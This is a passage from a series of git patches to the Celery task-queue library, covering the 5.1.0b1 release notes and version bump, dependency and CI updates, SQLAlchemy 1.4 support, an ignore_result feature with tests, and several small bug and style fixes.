Subject: [PATCH 195/415] test with kombu v5.1.0b1 --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index 3fd8529bb1b..3b7bbe0498f 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,6 +1,6 @@ pytz>dev billiard>=3.6.4.0,<4.0 -kombu>=5.0.0,<6.0 +kombu>=5.1.0b1,<6.0 vine>=5.0.0,<6.0 click>=7.0,<8.0 click-didyoumean>=0.0.3 From d7f3e14497d7cc598b82eff6b0eb6430b825f627 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 2 Apr 2021 09:03:41 +0600 Subject: [PATCH 196/415] update site link with docs in readme --- README.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.rst b/README.rst index 3017bdf04db..d087b1f64e4 100644 --- a/README.rst +++ b/README.rst @@ -3,7 +3,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| :Version: 5.0.5 (singularity) -:Web: http://celeryproject.org/ +:Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ :Keywords: task, queue, job, async, rabbitmq, amqp, redis, From beeff198bd26a00dd682a96b6e45419cf4cfbfad Mon Sep 17 00:00:00 2001 From: "Asif Saif Uddin (Auvi)" Date: Fri, 2 Apr 2021 10:21:15 +0600 Subject: [PATCH 197/415] added changelog for 5.1.0b1 --- Changelog.rst | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/Changelog.rst b/Changelog.rst index 0bdb9947f8c..c0b6a3191db 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -5,9 +5,34 @@ ================ This document contains change notes for bugfix & new features -in the 5.0.x series, please see :ref:`whatsnew-5.0` for +in the 5.0.x & 5.1.x series, please see :ref:`whatsnew-5.0` for an overview of what's new in Celery 5.0. +.. _version-5.1.0b1: + +5.1.0b1 +======= +:release-date: 2021-04-02 10.15 P.M UTC+6:00 +:release-by: Asif Saif Uddin + +- Add sentinel_kwargs to Rendis Sentinel docs. +- Depend on the maintained python-consul2 library. (#6544). +- Use result_chord_join_timeout instead of hardcoded default value. +- Upgrade AzureBlockBlob storage backend to use Azure blob storage library v12 (#6580). +- Improved integration tests. +- pass_context for handle_preload_options decorator (#6583). +- Makes regen less greedy (#6589). +- Pytest worker shutdown timeout (#6588). +- Exit celery with non zero exit value if failing (#6602). +- Raise BackendStoreError when set value is too large for Redis. +- Trace task optimizations are now set via Celery app instance. +- Make trace_task_ret and fast_trace_task public. +- reset_worker_optimizations and create_request_cls has now app as optional parameter. +- Small refactor in exception handling of on_failure (#6633). +- Fix for issue #5030 "Celery Result backend on Windows OS". +- add store_eager_result setting so eager tasks can store result on the result backend (#6614) + + .. _version-5.0.5: 5.0.5 From 9573d39b39d787332a0fd941f918608921a5df68 Mon Sep 17 00:00:00 2001 From: "Asif Saif Uddin (Auvi)" Date: Fri, 2 Apr 2021 10:49:27 +0600 Subject: [PATCH 198/415] =?UTF-8?q?Bump=20version:=205.0.5=20=E2=86=92=205?= =?UTF-8?q?.1.0b1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 8 ++++---- celery/__init__.py | 2 +- docs/includes/introduction.txt | 15 ++++++--------- 4 files changed, 12 insertions(+), 15 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 0ce811df412..3415054d468 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.0.5 +current_version = 5.1.0b1 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index d087b1f64e4..7fc9498920a 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.0.5 (singularity) +:Version: 5.1.0b1 (singularity) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,9 +57,9 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.0.5 runs on, +Celery version 5.1.0b1 runs on, -- Python (3.6, 3.7, 3.8) +- Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.1.0b1 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 33c9902ba08..898c0138add 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'singularity' -__version__ = '5.0.5' +__version__ = '5.1.0b1' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 11a99ec278b..2f47543eb00 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.0.5 (cliffs) +:Version: 5.1.0b1 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -37,16 +37,13 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 4.4 runs on, +Celery version 5.1.x runs on, -- Python (2.7, 3.5, 3.6, 3.7, 38) -- PyPy2.7 (7.3) -- PyPy3.5 (7.1) -- PyPy3.6 (7.3) +- Python 3.6 or newer versions +- PyPy3.6 (7.3) or newer -This is the last version to support Python 2.7, -and from the next version (Celery 5.x) Python 3.6 or newer is required. +From the next major version (Celery 6.x) Python 3.7 or newer is required. If you're running an older version of Python, you need to be running an older version of Celery: @@ -71,7 +68,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 4.0 coming from previous versions then you should read our +new to Celery 5.0.x or 5.1.x coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ From 9be18d177891fa6b43b60af8885e20976961a1a1 Mon Sep 17 00:00:00 2001 From: "Asif Saif Uddin (Auvi)" Date: Fri, 2 Apr 2021 10:49:52 +0600 Subject: [PATCH 199/415] doc adjustment for 5.1.0b1 --- Changelog.rst | 36 ++++++++++++++++++++++++--- docs/getting-started/introduction.rst | 2 ++ 2 files changed, 35 insertions(+), 3 deletions(-) diff --git a/Changelog.rst b/Changelog.rst index c0b6a3191db..0f5272c757c 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -6,13 +6,15 @@ This document contains change notes for bugfix & new features in the 5.0.x & 5.1.x series, please see :ref:`whatsnew-5.0` for -an overview of what's new in Celery 5.0. +an overview of what's new in Celery 5.0. 5.1.0b1 is an incremental +pre release with lots of bug fixes and some new features/enhancements. +Some dependencies were upgraded to newer versions. .. _version-5.1.0b1: 5.1.0b1 ======= -:release-date: 2021-04-02 10.15 P.M UTC+6:00 +:release-date: 2021-04-02 10.25 P.M UTC+6:00 :release-by: Asif Saif Uddin - Add sentinel_kwargs to Rendis Sentinel docs. @@ -30,7 +32,35 @@ an overview of what's new in Celery 5.0. - reset_worker_optimizations and create_request_cls has now app as optional parameter. - Small refactor in exception handling of on_failure (#6633). - Fix for issue #5030 "Celery Result backend on Windows OS". -- add store_eager_result setting so eager tasks can store result on the result backend (#6614) +- Add store_eager_result setting so eager tasks can store result on the result backend (#6614). +- Allow heartbeats to be sent in tests (#6632). +- Fixed default visibility timeout note in sqs documentation. +- Support Redis Sentinel with SSL. +- Simulate more exhaustive delivery info in apply(). +- Start chord header tasks as soon as possible (#6576). +- Forward shadow option for retried tasks (#6655). +--quiet flag now actually makes celery avoid producing logs (#6599). +- Update platforms.py "superuser privileges" check (#6600). +- Remove unused property `autoregister` from the Task class (#6624). +- fnmatch.translate() already translates globs for us. (#6668). +- Upgrade some syntax to Python 3.6+. +- Add `azureblockblob_base_path` config (#6669). +- Fix checking expiration of X.509 certificates (#6678). +- Drop the lzma extra. +- Fix JSON decoding errors when using MongoDB as backend (#6675). +- Allow configuration of RedisBackend's health_check_interval (#6666). +- Safeguard against schedule entry without kwargs (#6619). +- Docs only - SQS broker - add STS support (#6693) through kombu. +- Drop fun_accepts_kwargs backport. +- Tasks can now have required kwargs at any order (#6699). +- Min py-amqp 5.0.6. +- min billiard is now 3.6.4.0. +- Minimum kombu now is5.1.0b1. +- Numerous docs fixes. +- Moved CI to github action. +- Updated deployment scripts. +- Updated docker. +- Initial support of python 3.9 added. .. _version-5.0.5: diff --git a/docs/getting-started/introduction.rst b/docs/getting-started/introduction.rst index f55f448da79..d2ae1d1b261 100644 --- a/docs/getting-started/introduction.rst +++ b/docs/getting-started/introduction.rst @@ -46,6 +46,8 @@ What do I need? Celery 4.x was the last version to support Python 2.7, Celery 5.x requires Python 3.6 or newer. + Celery 5.1.x also requires Python 3.6 or newer. + If you're running an older version of Python, you need to be running an older version of Celery: From 1509cd8acdef291975ca92f7b9d24ab408d4a4bd Mon Sep 17 00:00:00 2001 From: Awais Qureshi Date: Sun, 4 Apr 2021 20:11:26 +0500 Subject: [PATCH 200/415] Behavior that used to be called only in Python 2.7 environments without the simplejson package installed is now always used, and it replaces the original dict subclass with a plain dict after sanity checking the keys. I think this is a mistake, those code blocks should have been removed when dropping Python 2.7 support rather than making them the default behavior. (#6561) --- celery/app/amqp.py | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/celery/app/amqp.py b/celery/app/amqp.py index 1a0454e9a92..57429ca00f4 100644 --- a/celery/app/amqp.py +++ b/celery/app/amqp.py @@ -316,13 +316,6 @@ def as_task_v2(self, task_id, name, args=None, kwargs=None, if kwargsrepr is None: kwargsrepr = saferepr(kwargs, self.kwargsrepr_maxsize) - if callbacks: - callbacks = [utf8dict(callback) for callback in callbacks] - if errbacks: - errbacks = [utf8dict(errback) for errback in errbacks] - if chord: - chord = utf8dict(chord) - if not root_id: # empty root_id defaults to task_id root_id = task_id @@ -395,13 +388,6 @@ def as_task_v1(self, task_id, name, args=None, kwargs=None, eta = eta and eta.isoformat() expires = expires and expires.isoformat() - if callbacks: - callbacks = [utf8dict(callback) for callback in callbacks] - if errbacks: - errbacks = [utf8dict(errback) for errback in errbacks] - if chord: - chord = utf8dict(chord) - return task_message( headers={}, properties={ From be873c7e4eff81f2dd2f7c174a73cfc44ac25fad Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 4 Apr 2021 16:55:40 +0300 Subject: [PATCH 201/415] Update before installing system dependencies. --- .github/workflows/python-package.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 34fc435ddef..92c652b0913 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -29,7 +29,7 @@ jobs: steps: - name: Install apt packages run: | - sudo apt-get install -f libcurl4-openssl-dev libssl-dev gnutls-dev httping expect libmemcached-dev + sudo apt update && sudo apt-get install -f libcurl4-openssl-dev libssl-dev gnutls-dev httping expect libmemcached-dev - uses: actions/checkout@v2 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v2 From 0953a4d9ecf7008d10236359864d334695cc530c Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 4 Apr 2021 18:26:02 +0300 Subject: [PATCH 202/415] Add support for SQLAlchemy 1.4. --- celery/backends/database/session.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/celery/backends/database/session.py b/celery/backends/database/session.py index ca3d683bea6..415d4623e00 100644 --- a/celery/backends/database/session.py +++ b/celery/backends/database/session.py @@ -4,12 +4,17 @@ from kombu.utils.compat import register_after_fork from sqlalchemy import create_engine from sqlalchemy.exc import DatabaseError -from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker from sqlalchemy.pool import NullPool from celery.utils.time import get_exponential_backoff_interval +try: + from sqlalchemy.orm import declarative_base +except ImportError: + # TODO: Remove this once we drop support for SQLAlchemy < 1.4. + from sqlalchemy.ext.declarative import declarative_base + ResultModelBase = declarative_base() __all__ = ('SessionManager',) From 4f2213a427861cf42b778ef499f29b179d8c40ed Mon Sep 17 00:00:00 2001 From: Sardorbek Imomaliev Date: Tue, 6 Apr 2021 21:10:50 +0700 Subject: [PATCH 203/415] Fix typo in Changelog.rst --- Changelog.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Changelog.rst b/Changelog.rst index 0f5272c757c..0cb7e6a6c5e 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -17,7 +17,7 @@ Some dependencies were upgraded to newer versions. :release-date: 2021-04-02 10.25 P.M UTC+6:00 :release-by: Asif Saif Uddin -- Add sentinel_kwargs to Rendis Sentinel docs. +- Add sentinel_kwargs to Redis Sentinel docs. - Depend on the maintained python-consul2 library. (#6544). - Use result_chord_join_timeout instead of hardcoded default value. - Upgrade AzureBlockBlob storage backend to use Azure blob storage library v12 (#6580). From 1901ea8594185c015d1518d89f3b90180275c0b9 Mon Sep 17 00:00:00 2001 From: "Stephen J. Fuhry" Date: Sat, 10 Apr 2021 15:31:20 +0000 Subject: [PATCH 204/415] fix AttributeError regression in #6619 --- celery/beat.py | 2 +- t/unit/app/test_beat.py | 17 +++++++++++++++++ 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/celery/beat.py b/celery/beat.py index 2b251e838a2..74c67f94ed9 100644 --- a/celery/beat.py +++ b/celery/beat.py @@ -208,7 +208,7 @@ def _evaluate_entry_args(entry_args): return [] return [ v() if isinstance(v, BeatLazyFunc) else v - for v in entry_args.args + for v in entry_args ] diff --git a/t/unit/app/test_beat.py b/t/unit/app/test_beat.py index 98f4f21bf3f..739a45e5e24 100644 --- a/t/unit/app/test_beat.py +++ b/t/unit/app/test_beat.py @@ -212,6 +212,23 @@ def foo(): scheduler.apply_async(entry, advance=False) foo.apply_async.assert_called() + def test_apply_async_without_null_args(self): + + @self.app.task(shared=False) + def foo(moo: int): + return moo + foo.apply_async = Mock(name='foo.apply_async') + + scheduler = mScheduler(app=self.app) + entry = scheduler.Entry(task=foo.name, app=self.app, args=None, + kwargs=None) + entry.args = (101,) + entry.kwargs = None + + scheduler.apply_async(entry, advance=False) + foo.apply_async.assert_called() + assert foo.apply_async.call_args[0][0] == [101] + def test_should_sync(self): @self.app.task(shared=False) From 81df81acf8605ba3802810c7901be7d905c5200b Mon Sep 17 00:00:00 2001 From: Joel Payne <15524072+LilSpazJoekp@users.noreply.github.com> Date: Mon, 12 Apr 2021 11:04:24 -0500 Subject: [PATCH 205/415] Fix tiny typo --- Changelog.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Changelog.rst b/Changelog.rst index 0cb7e6a6c5e..cafe66d43ad 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -39,7 +39,7 @@ Some dependencies were upgraded to newer versions. - Simulate more exhaustive delivery info in apply(). - Start chord header tasks as soon as possible (#6576). - Forward shadow option for retried tasks (#6655). ---quiet flag now actually makes celery avoid producing logs (#6599). +- --quiet flag now actually makes celery avoid producing logs (#6599). - Update platforms.py "superuser privileges" check (#6600). - Remove unused property `autoregister` from the Task class (#6624). - fnmatch.translate() already translates globs for us. (#6668). From 8ebcce1523d79039f23da748f00bec465951de2a Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 18 Apr 2021 16:01:24 +0300 Subject: [PATCH 206/415] `some_task.apply_async(ignore_result=True)` now avoids persisting the result (#6713) * Add a test case which proves that the result is persisted when ignore_result is passed through apply_async. * Add unit test for Request update * Update Request class to include ignore_result * Send ignore_result in AMQP message Update mark_done to check request.ignore_result * Remove xfail mark * Fix request None case * Add ignore_result documentation * Add ignore_result to apply * Remove file created by tests Co-authored-by: Josue Balandrano Coronel --- celery/app/amqp.py | 5 ++-- celery/app/base.py | 7 ++--- celery/app/task.py | 51 ++++++++++++++++++++--------------- celery/backends/base.py | 8 +++++- celery/worker/request.py | 5 ++++ t/integration/test_tasks.py | 4 +++ t/unit/worker/test_request.py | 33 ++++++++++++++++------- 7 files changed, 76 insertions(+), 37 deletions(-) diff --git a/celery/app/amqp.py b/celery/app/amqp.py index 57429ca00f4..a574b2dd792 100644 --- a/celery/app/amqp.py +++ b/celery/app/amqp.py @@ -284,7 +284,7 @@ def as_task_v2(self, task_id, name, args=None, kwargs=None, time_limit=None, soft_time_limit=None, create_sent_event=False, root_id=None, parent_id=None, shadow=None, chain=None, now=None, timezone=None, - origin=None, argsrepr=None, kwargsrepr=None): + origin=None, ignore_result=False, argsrepr=None, kwargsrepr=None): args = args or () kwargs = kwargs or {} if not isinstance(args, (list, tuple)): @@ -335,7 +335,8 @@ def as_task_v2(self, task_id, name, args=None, kwargs=None, 'parent_id': parent_id, 'argsrepr': argsrepr, 'kwargsrepr': kwargsrepr, - 'origin': origin or anon_nodename() + 'origin': origin or anon_nodename(), + 'ignore_result': ignore_result, }, properties={ 'correlation_id': task_id, diff --git a/celery/app/base.py b/celery/app/base.py index d833fc1e0e6..5163168d23b 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -716,7 +716,7 @@ def send_task(self, name, args=None, kwargs=None, countdown=None, 'task_always_eager has no effect on send_task', ), stacklevel=2) - ignored_result = options.pop('ignore_result', False) + ignore_result = options.pop('ignore_result', False) options = router.route( options, route_name or name, args, kwargs, task_type) @@ -739,6 +739,7 @@ def send_task(self, name, args=None, kwargs=None, countdown=None, reply_to or self.thread_oid, time_limit, soft_time_limit, self.conf.task_send_sent_event, root_id, parent_id, shadow, chain, + ignore_result=ignore_result, argsrepr=options.get('argsrepr'), kwargsrepr=options.get('kwargsrepr'), ) @@ -748,14 +749,14 @@ def send_task(self, name, args=None, kwargs=None, countdown=None, with self.producer_or_acquire(producer) as P: with P.connection._reraise_as_library_errors(): - if not ignored_result: + if not ignore_result: self.backend.on_task_call(P, task_id) amqp.send_task_message(P, name, message, **options) result = (result_cls or self.AsyncResult)(task_id) # We avoid using the constructor since a custom result class # can be used, in which case the constructor may still use # the old signature. - result.ignored = ignored_result + result.ignored = ignore_result if add_to_parent: if not have_parent: diff --git a/celery/app/task.py b/celery/app/task.py index 53dd79b21fc..cb24e55589f 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -61,36 +61,37 @@ def _reprtask(task, fmt=None, flags=None): class Context: """Task request variables (Task.request).""" - logfile = None - loglevel = None - hostname = None - id = None + _children = None # see property + _protected = 0 args = None - kwargs = None - retries = 0 + callbacks = None + called_directly = True + chain = None + chord = None + correlation_id = None + delivery_info = None + errbacks = None eta = None expires = None - is_eager = False + group = None + group_index = None headers = None - delivery_info = None + hostname = None + id = None + ignore_result = False + is_eager = False + kwargs = None + logfile = None + loglevel = None + origin = None + parent_id = None + retries = 0 reply_to = None - shadow = None root_id = None - parent_id = None - correlation_id = None + shadow = None taskset = None # compat alias to group - group = None - group_index = None - chord = None - chain = None - utc = None - called_directly = True - callbacks = None - errbacks = None timelimit = None - origin = None - _children = None # see property - _protected = 0 + utc = None def __init__(self, *args, **kwargs): self.update(*args, **kwargs) @@ -504,6 +505,11 @@ def apply_async(self, args=None, kwargs=None, task_id=None, producer=None, attribute. Trailing can also be disabled by default using the :attr:`trail` attribute + ignore_result (bool): If set to `False` (default) the result + of a task will be stored in the backend. If set to `True` + the result will not be stored. This can also be set + using the :attr:`ignore_result` in the `app.task` decorator. + publisher (kombu.Producer): Deprecated alias to ``producer``. headers (Dict): Message headers to be included in the message. @@ -768,6 +774,7 @@ def apply(self, args=None, kwargs=None, 'callbacks': maybe_list(link), 'errbacks': maybe_list(link_error), 'headers': headers, + 'ignore_result': options.get('ignore_result', False), 'delivery_info': { 'is_eager': True, 'exchange': options.get('exchange'), diff --git a/celery/backends/base.py b/celery/backends/base.py index 7c5dcfa357c..fdec6d58f46 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -76,6 +76,12 @@ def ignore(self, *a, **kw): __setitem__ = update = setdefault = ignore +def _is_request_ignore_result(request): + if request is None: + return False + return request.ignore_result + + class Backend: READY_STATES = states.READY_STATES UNREADY_STATES = states.UNREADY_STATES @@ -150,7 +156,7 @@ def mark_as_started(self, task_id, **meta): def mark_as_done(self, task_id, result, request=None, store_result=True, state=states.SUCCESS): """Mark task as successfully executed.""" - if store_result: + if (store_result and not _is_request_ignore_result(request)): self.store_result(task_id, result, state, request=request) if request and request.chord: self.on_chord_part_return(request, state, result) diff --git a/celery/worker/request.py b/celery/worker/request.py index c1847820aae..832c6f379ba 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -120,6 +120,7 @@ def __init__(self, message, on_ack=noop, self._eventer = eventer self._connection_errors = connection_errors or () self._task = task or self._app.tasks[self._type] + self._ignore_result = self._request_dict.get('ignore_result', False) # timezone means the message is timezone-aware, and the only timezone # supported at this point is UTC. @@ -240,6 +241,10 @@ def on_reject(self, value): def hostname(self): return self._hostname + @property + def ignore_result(self): + return self._ignore_result + @property def eventer(self): return self._eventer diff --git a/t/integration/test_tasks.py b/t/integration/test_tasks.py index 17d59f9851d..c7c41214e54 100644 --- a/t/integration/test_tasks.py +++ b/t/integration/test_tasks.py @@ -100,6 +100,10 @@ def test_ignore_result(self, manager): """Testing calling task with ignoring results.""" result = add.apply_async((1, 2), ignore_result=True) assert result.get() is None + # We wait since it takes a bit of time for the result to be + # persisted in the result backend. + sleep(1) + assert result.result is None @flaky def test_timeout(self, manager): diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 013cdf01aea..d8f7de6ad1d 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -89,8 +89,9 @@ def mro(cls): assert mro_lookup(D, 'x') is None -def jail(app, task_id, name, args, kwargs): +def jail(app, task_id, name, request_opts, args, kwargs): request = {'id': task_id} + request.update(request_opts) task = app.tasks[name] task.__trace__ = None # rebuild return trace_task( @@ -115,7 +116,7 @@ def test_process_cleanup_fails(self, patching): self.mytask.backend = Mock() self.mytask.backend.process_cleanup = Mock(side_effect=KeyError()) tid = uuid() - ret = jail(self.app, tid, self.mytask.name, [2], {}) + ret = jail(self.app, tid, self.mytask.name, {}, [2], {}) assert ret == 4 self.mytask.backend.mark_as_done.assert_called() assert 'Process cleanup failed' in _logger.error.call_args[0][0] @@ -124,10 +125,10 @@ def test_process_cleanup_BaseException(self): self.mytask.backend = Mock() self.mytask.backend.process_cleanup = Mock(side_effect=SystemExit()) with pytest.raises(SystemExit): - jail(self.app, uuid(), self.mytask.name, [2], {}) + jail(self.app, uuid(), self.mytask.name, {}, [2], {}) def test_execute_jail_success(self): - ret = jail(self.app, uuid(), self.mytask.name, [2], {}) + ret = jail(self.app, uuid(), self.mytask.name, {}, [2], {}) assert ret == 4 def test_marked_as_started(self): @@ -141,29 +142,43 @@ def store_result(tid, meta, state, **kwargs): self.mytask.track_started = True tid = uuid() - jail(self.app, tid, self.mytask.name, [2], {}) + jail(self.app, tid, self.mytask.name, {}, [2], {}) assert tid in _started self.mytask.ignore_result = True tid = uuid() - jail(self.app, tid, self.mytask.name, [2], {}) + jail(self.app, tid, self.mytask.name, {}, [2], {}) assert tid not in _started def test_execute_jail_failure(self): ret = jail( - self.app, uuid(), self.mytask_raising.name, [4], {}, + self.app, uuid(), self.mytask_raising.name, {}, [4], {}, ) assert isinstance(ret, ExceptionInfo) assert ret.exception.args == (4,) - def test_execute_ignore_result(self): + def test_execute_task_ignore_result(self): @self.app.task(shared=False, ignore_result=True) def ignores_result(i): return i ** i task_id = uuid() - ret = jail(self.app, task_id, ignores_result.name, [4], {}) + ret = jail(self.app, task_id, ignores_result.name, {}, [4], {}) + assert ret == 256 + assert not self.app.AsyncResult(task_id).ready() + + def test_execute_request_ignore_result(self): + + @self.app.task(shared=False) + def ignores_result(i): + return i ** i + + task_id = uuid() + ret = jail( + self.app, task_id, ignores_result.name, + {'ignore_result': True}, [4], {} + ) assert ret == 256 assert not self.app.AsyncResult(task_id).ready() From 25f6c139e11edd32f5c36542c737ee7c7de2e9cc Mon Sep 17 00:00:00 2001 From: Maarten Fonville Date: Thu, 22 Apr 2021 17:09:56 +0200 Subject: [PATCH 207/415] Update systemd tmpfiles path (#6688) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit To fix `/etc/tmpfiles.d/celery.conf:1: Line references path below legacy directory /var/run/, updating /var/run/celery → /run/celery; please update the tmpfiles.d/ drop-in file accordingly` --- docs/userguide/daemonizing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/userguide/daemonizing.rst b/docs/userguide/daemonizing.rst index 8b74f73bfb4..cd46c4e1894 100644 --- a/docs/userguide/daemonizing.rst +++ b/docs/userguide/daemonizing.rst @@ -432,7 +432,7 @@ You can also use systemd-tmpfiles in order to create working directories (for lo .. code-block:: bash - d /var/run/celery 0755 celery celery - + d /run/celery 0755 celery celery - d /var/log/celery 0755 celery celery - From 5a908b2c128b968da88cd7daf6e195acddc4f295 Mon Sep 17 00:00:00 2001 From: Geunsik Lim Date: Sat, 24 Apr 2021 17:11:40 +0900 Subject: [PATCH 208/415] Fixed incorrect coding style (textwidth) in ./app Fixed issue #6739. This commit is trivial. It is to fix incorrect coding style (text width) that is applied into the ./app/ folder. * https://github.com/celery/celery/blob/master/CONTRIBUTING.rst#id79 * soft limit: 78 * hard limit: 79 Signed-off-by: Geunsik Lim Signed-off-by: Geunsik Lim --- celery/app/base.py | 3 ++- celery/app/task.py | 3 ++- celery/app/utils.py | 3 ++- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/celery/app/base.py b/celery/app/base.py index 5163168d23b..27f1d90f779 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -275,7 +275,8 @@ def __init__(self, main=None, loader=None, backend=None, self.__autoset('result_backend', backend) self.__autoset('include', include) self.__autoset('broker_use_ssl', kwargs.get('broker_use_ssl')) - self.__autoset('redis_backend_use_ssl', kwargs.get('redis_backend_use_ssl')) + self.__autoset('redis_backend_use_ssl', + kwargs.get('redis_backend_use_ssl')) self._conf = Settings( PendingConfiguration( self._preconf, self._finalize_pending_conf), diff --git a/celery/app/task.py b/celery/app/task.py index cb24e55589f..3e8461b6b11 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -969,7 +969,8 @@ def update_state(self, task_id=None, state=None, meta=None, **kwargs): """ if task_id is None: task_id = self.request.id - self.backend.store_result(task_id, meta, state, request=self.request, **kwargs) + self.backend.store_result( + task_id, meta, state, request=self.request, **kwargs) def on_success(self, retval, task_id, args, kwargs): """Success handler. diff --git a/celery/app/utils.py b/celery/app/utils.py index 05aeb1e5016..8b72652e708 100644 --- a/celery/app/utils.py +++ b/celery/app/utils.py @@ -394,7 +394,8 @@ def find_app(app, symbol_by_name=symbol_by_name, imp=import_from_cwd): try: found = sym.celery if isinstance(found, ModuleType): - raise AttributeError("attribute 'celery' is the celery module not the instance of celery") + raise AttributeError( + "attribute 'celery' is the celery module not the instance of celery") except AttributeError: if getattr(sym, '__path__', None): try: From 27c9b7796d99c0d3d8ff030553f2e37132fed5a3 Mon Sep 17 00:00:00 2001 From: aruseni Date: Sat, 24 Apr 2021 16:49:02 +0300 Subject: [PATCH 209/415] Minor changes to the django/proj/celery.py example MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit See #6738 for an explanation why it’s better to say “registered apps”. --- examples/django/proj/celery.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/django/proj/celery.py b/examples/django/proj/celery.py index 429afff312a..9766a2ac2ee 100644 --- a/examples/django/proj/celery.py +++ b/examples/django/proj/celery.py @@ -2,7 +2,7 @@ from celery import Celery -# set the default Django settings module for the 'celery' program. +# Set the default Django settings module for the 'celery' program. os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'proj.settings') app = Celery('proj') @@ -13,7 +13,7 @@ # should have a `CELERY_` prefix. app.config_from_object('django.conf:settings', namespace='CELERY') -# Load task modules from all registered Django app configs. +# Load task modules from all registered Django apps. app.autodiscover_tasks() From 850c62a67d41430058e60f5904aaff77fe3cd626 Mon Sep 17 00:00:00 2001 From: Parth Joshi Date: Sun, 25 Apr 2021 18:21:16 +0530 Subject: [PATCH 210/415] Ensure AMQPContext exposes an app attribute (#6741) `handle_preload_options` introduced in celery v5.0.3 expects the context object it receives to have an app attribute. In case of the `celery amqp` command the CLIContext object gets wrapped around by an AMQPContext which does not expose this attribute. This tiny modification fixes that by making AMQPContext expose an app by delegating to the underlying CLIContext object. --- celery/bin/amqp.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/celery/bin/amqp.py b/celery/bin/amqp.py index ab8ab5f0100..29c625281ed 100644 --- a/celery/bin/amqp.py +++ b/celery/bin/amqp.py @@ -25,6 +25,10 @@ def __init__(self, cli_context): self.connection = self.cli_context.app.connection() self.channel = None self.reconnect() + + @property + def app(self): + return self.cli_context.app def respond(self, retval): if isinstance(retval, str): From 230c9acd951dddad0a73ddc5b735f630acdfc12a Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 5 Apr 2021 15:42:52 +0300 Subject: [PATCH 211/415] Inspect commands now accept arguments. Fixes #6705. --- celery/bin/control.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/celery/bin/control.py b/celery/bin/control.py index 507c5ec8efb..a13963a54b3 100644 --- 